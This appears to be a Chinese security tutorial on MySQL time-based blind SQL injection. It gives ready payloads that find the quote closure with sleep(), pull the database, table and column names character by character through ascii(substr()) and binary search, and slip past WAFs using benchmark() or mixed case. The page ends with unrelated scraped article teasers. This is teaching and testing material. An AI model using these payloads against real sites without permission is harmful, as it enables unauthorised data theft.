网络安全 - SQL注入篇 - 时间盲注
📅 2026/8/2 12:59:29
👁️ 次浏览
一、什么是时间盲注时间盲注Time-Based Blind Injection——它利用的是数据库的睡眠函数如SLEEP()通过判断页面响应时间是否被人为延长从而逐字符“抠”出数据。二、时间盲注的利用前提① 存在 SQL注入 漏洞② 数据库支持延时函数③ 网络延迟稳定三、确认时间盲注可用核心目标找到能让 SLEEP() 函数正常执行的闭合方式。判断标准如果某组闭合下页面延迟了约N秒说明该闭合有效如果立即返回则该闭合无效或条件为假。序号场景类型测试输入预期现象响应时间结论1基准测试?id1立即返回 200ms基准状态2数字型 - 真测试?id1 and sleep(5)延迟约 5 秒确认为数字型时间盲注3数字型 - 假测试?id1 and 12 and sleep(5)立即返回确认AND短路有效逻辑可靠4字符型 - 真测试?id1 and sleep(5) --延迟约 5 秒确认为单引号闭合5字符型 - 真测试?id1 and sleep(5) --延迟约 5 秒确认为双引号闭合6字符型 - 真测试?id1) and sleep(5) --延迟约 5 秒确认为单引号括号闭合7字符型 - 真测试?id1) and sleep(5) --延迟约 5 秒确认为双引号括号闭合8字符型 - 真测试?id1)) and sleep(5) --延迟约 5 秒确认为多层括号闭合9字符型 -假测试对应上方的闭合方式and 12 and sleep(5) --立即返回确认该闭合方式下AND逻辑正常重要结论上述测试中序号2~8只要有一个触发延迟该注入点就100%能用时间盲注。实战中 1’ 和 1’) 命中率最高优先测这两个。时间盲注使用核心函数函数 / 语句作用示例MySQLsleep(seconds)让数据库暂停执行 N 秒sleep(5)→ 暂停5秒benchmark(count, expr)重复执行表达式 N 次CPU密集型替代sleep绕过部分WAFbenchmark(10000000, md5(a))if(cond, true_val, false_val)条件判断函数if(11, sleep(5), 0)case when ... then ... end条件判断替代ifcase when 11 then sleep(5) else 0 end优先使用 AND SLEEP() 组合如 and if(…)比单纯的 if() 更灵活且能利用短路逻辑加快假条件的响应。四、时间盲注的详细步骤第一步判断数据库名长度利用 if sleep-- 猜测长度为 1假 → 立即返回?id1 and if(length(database())1, sleep(5), 0) -- -- 猜测长度为 8真 → 延迟5秒 ?id1andif(length(database())8,sleep(5),0)-- ✅ 页面卡了5秒通过逐个数1~20替换最终确定长度为 8。第二步逐位获取数据库名ASCII比较法截取第1位判断其ASCII码是否等于某个值-- 判断第1位是否等于 sASCII 115如果是则延迟5秒?id1andif(ascii(substr(database(),1,1))115,sleep(5),0)--实战中你不知道具体数值需要用二分法大于号配合 sleep-- 判断第1位 ASCII 是否 100?id1 and if(ascii(substr(database(),1,1))100, sleep(5), 0) -- 延迟说明大于100 -- 判断是否 120 ?id1andif(ascii(substr(database(),1,1))120,sleep(5),0)-- 立即返回说明在100~120之间-- 继续折半最终锁定 115第三步获取当前数据库下的表名-- 获取第一张表的长度假设是 users长度5?id1 and if(length((select table_name from information_schema.tables where table_schemadatabase() limit 0,1))5, sleep(5), 0) -- -- 获取第一张表的第1个字符u 117 ?id1andif(ascii(substr((selecttable_namefrominformation_schema.tableswheretable_schemadatabase()limit0,1),1,1))117,sleep(5),0)--第四步获取字段名与数据-- 获取 users 表第一个字段名的第1个字符?id1 and if(ascii(substr((select column_name from information_schema.columns where table_nameuserslimit0,1),1,1))117,sleep(5),0)--五、提高效率二分法 超时设置时间盲注极其耗时每猜一个字符要等5秒。手工测试时必须坚持两点技巧说明示例使用二分法不要用逐个试最坏127次用最多7次确定一个字符if(ascii(...) 64, sleep(5), 0)设置合理的延迟时间生产环境延迟设为1~2 秒不要设5秒配合timeout判断sleep(2)浏览器/脚本超时设为 3 秒优先确认长度再取值先跑length()确定总长度避免超出范围浪费请求先跑长度再跑内容六、时间盲注避坑指南序号坑点现象解决方案1网络延迟干扰服务器响应本来就要 500ms设sleep(1)根本不明显设sleep(3)或sleep(5)阈值设在2~3秒以上2AND短路导致 sleep 不执行写12 and sleep(5)永远立即返回因为12为假MySQL 直接短路判假条件用if(条件, sleep(5), 0)更稳妥不依赖短路3表名/数据库名含有大写二分法范围只跑97~122小写漏掉大写字母范围设为32~127包含大写、数字、下划线4子查询必须用括号包裹select table_name from ... limit 0,1报错写成(select table_name from ... limit 0,1)5sleep()被 WAF 拦截报错 403 或请求被拒绝换benchmark(10000000, md5(a))替代或尝试sleep(1)改为SLEEP(1)大小写混写6脚本误判超时假阳性网络突然卡顿假条件也超时脚本误以为真增加重试机制同一字符验证两次均超时才判为真7单次请求耗时过长跑 50 个字符每个字符 7 次请求 × 3 秒 21 分钟将sleep(3)改为sleep(1)阈值设 0.8 秒需配合稳定内网
1. 项目概述:从零开始,理解并构建你的Meshtastic节点 如果你对去中心化的无线通信、应急网络或者仅仅是摆脱手机信号依赖的远距离对讲感兴趣,那么Meshtastic这个名字你可能已经听过。简单来说,它是一个基于LoRa(远距离…
📅 2026/8/2 12:59:28
很多人做「系统分析」时有个坏习惯:
换个主题——数据库、运维、审计、安全——报告骨架和标题几乎一样,只是把词换一换。 领导一看就知道:这不是分析,这是换皮交差。
更糟的是技术口嗨: 看见 b64: / Base64…
📅 2026/8/2 12:59:28
1. 项目概述:为什么LinkIt ONE值得你花时间?如果你对物联网开发感兴趣,或者想找一个既能玩Arduino生态,又能直接连上蜂窝网络和Wi-Fi的“全能型”开发板,那LinkIt ONE绝对是一个绕不开的经典。它不是那种最时髦、性能最…
📅 2026/8/2 12:58:28
1. 项目概述:为什么我们需要CUHK-SYSU行人搜索数据集?在计算机视觉领域,尤其是安防监控、智能零售和智慧城市等应用场景中,“行人搜索”是一个既基础又极具挑战性的任务。它不同于单纯的行人检测(只框出画面中的人&…
📅 2026/8/2 15:06:21
1. 项目缘起:当骑行不止于通勤,还能点亮一盏灯你有没有过这样的经历:晚上在小区里或者公园小路上骑车,车灯突然没电了,眼前一片漆黑,只能摸黑推着车走?或者,在户外露营时,…
📅 2026/8/2 15:06:21
更多请点击:
https://kaifayun.com
第一章:AI创意从灵感到落地的本质断层 当设计师在白板上勾勒出“用AI生成可交互的动态品牌标识”这一构想时,灵感如闪电般清晰;而当工程师打开IDE,面对模型输出不可控、SVG路径失真…
📅 2026/8/2 15:06:21
阿里云盘自动签到脚本:告别手动操作,永久免费扩容云存储空间 【免费下载链接】QLScriptPublic 青龙面板脚本公共仓库 企鹅交流1021185005 项目地址: https://gitcode.com/GitHub_Trending/ql/QLScriptPublic
还在为每天忘记阿里云盘签到而烦恼吗&…
📅 2026/8/2 15:06:21
视频查重深度解析:Czkawka相似视频检测技术的原理与实践 【免费下载链接】czkawka Multi functional app to find duplicates, empty folders, similar images etc. 项目地址: https://gitcode.com/GitHub_Trending/cz/czkawka
在数字资产管理领域࿰…
📅 2026/8/2 15:06:21
更多请点击:
https://intelliparadigm.com
第一章:AI决策盲区的本质溯源与认知范式重构 AI系统在图像识别、自然语言理解等任务中展现出惊人能力,但其“高准确率”常掩盖深层的认知断裂——模型并不理解语义,仅拟合统计相关性。这…
📅 2026/8/2 15:05:21
1. 从水管网络到最大流:一个核心问题的诞生想象一下,你是一个城市供水系统的总工程师。你的城市有多个水源(水库),需要通过一个复杂的地下管道网络,将水输送到各个居民区。每条管道都有其最大通水能力&…
📅 2026/8/2 0:00:48
温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台…
📅 2026/8/2 0:00:48
1. 从一次信号“找茬”说起:为什么我们需要互相关几年前,我在处理一组声学传感器数据时遇到了一个棘手的问题。我有两个麦克风记录了一段相同的音频信号,理论上它们接收到的声音波形应该非常相似,只是由于麦克风位置不同ÿ…
📅 2026/8/2 0:00:48
1. 从水管网络到最大流:一个核心问题的诞生想象一下,你是一个城市供水系统的总工程师。你的城市有多个水源(水库),需要通过一个复杂的地下管道网络,将水输送到各个居民区。每条管道都有其最大通水能力&…
📅 2026/8/2 0:00:48
温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台…
📅 2026/8/2 0:00:48
1. 从一次信号“找茬”说起:为什么我们需要互相关几年前,我在处理一组声学传感器数据时遇到了一个棘手的问题。我有两个麦克风记录了一段相同的音频信号,理论上它们接收到的声音波形应该非常相似,只是由于麦克风位置不同ÿ…
📅 2026/8/2 0:00:48
AgentCard 智能体卡片:为英语学习 App 打造桌面级学习助手适用平台:HarmonyOS 7.0 (API 26 Beta)一、引言
HarmonyOS 7.0(API 26 Beta)新增了 AgentCard 智能体卡片能力,这是继 HMAF(鸿蒙智能体框架&#x…
📅 2026/8/2 1:22:12
无损视频剪辑终极指南:如何实现快速高效的多媒体处理 【免费下载链接】lossless-cut The swiss army knife of lossless video/audio editing 项目地址: https://gitcode.com/gh_mirrors/lo/lossless-cut
在数字媒体创作领域,视频编辑处理的质量损…
📅 2026/8/2 0:02:59
1. 本科生论文写作的AI辅助现状本科毕业论文是每个大学生必须跨越的一道坎。记得我当年写论文时,光是文献检索就花了整整两周时间,打印的参考文献堆满了半个书桌。如今AI技术的发展为学术写作带来了革命性变化,合理使用这些工具可以节省80%以…
📅 2026/8/2 1:22:12